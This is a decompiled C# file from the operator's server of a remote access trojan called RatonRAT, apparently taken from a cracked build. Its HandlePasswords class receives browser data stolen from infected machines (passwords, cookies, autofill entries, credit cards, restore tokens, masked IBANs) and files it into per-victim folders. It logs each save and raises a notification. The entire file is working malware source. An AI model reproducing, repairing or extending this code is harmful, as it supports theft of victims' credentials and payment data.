58 lines
2.8 KiB
C#
58 lines
2.8 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandlePasswords
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Windows;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandlePasswords
|
|
{
|
|
public HandlePasswords(SillyClient client, Unpack unpack)
|
|
{
|
|
try
|
|
{
|
|
string uid = unpack.GetAsString("UID");
|
|
string asString = unpack.GetAsString("Passwords");
|
|
bool asBool = unpack.GetAsBool("isCrypto");
|
|
if (string.IsNullOrEmpty(uid) || string.IsNullOrEmpty(asString))
|
|
return;
|
|
string str1 = Path.Combine(Path.Combine(Program.ClientsFolder, uid), asBool ? "Chromium Crypto" : "Chromium Passwords");
|
|
Directory.CreateDirectory(str1);
|
|
string[] strArray = asString.Split(new string[1]
|
|
{
|
|
"==="
|
|
}, StringSplitOptions.RemoveEmptyEntries);
|
|
for (int index = 0; index < strArray.Length; index += 2)
|
|
{
|
|
if (index + 1 < strArray.Length)
|
|
{
|
|
string str2 = strArray[index].Trim();
|
|
string str3 = strArray[index + 1].Trim();
|
|
string sectionName = str2;
|
|
sectionName = sectionName.IndexOf("PASSWORD", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("COOKIE", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("AUTOFILL", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("CREDIT CARD", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("TOKEN", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("MASKED CREDIT", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("MASKED IBAN", StringComparison.OrdinalIgnoreCase) < 0 ? "UNKNOWN" : "MASKED IBANS") : "MASKED CREDIT CARDS") : "RESTORE TOKENS") : "CREDIT CARDS") : "AUTOFILLS") : "COOKIES") : "PASSWORDS";
|
|
string str4 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss-fff");
|
|
string filePath = Path.Combine(str1, $"{sectionName}_{str4}.txt");
|
|
File.WriteAllText(filePath, $"=== {str2} ===\r\n\r\n{str3}");
|
|
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Saved {sectionName} from {uid}: {filePath}", (object) System.Drawing.Color.LightGreen)));
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
Notification.Show($"RatonRAT • {uid}\nOld chromium data saved ({(asBool ? "Crypto" : "Passwords")})", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
int num = (int) MessageBox.Show(ex.ToString());
|
|
}
|
|
}
|
|
}
|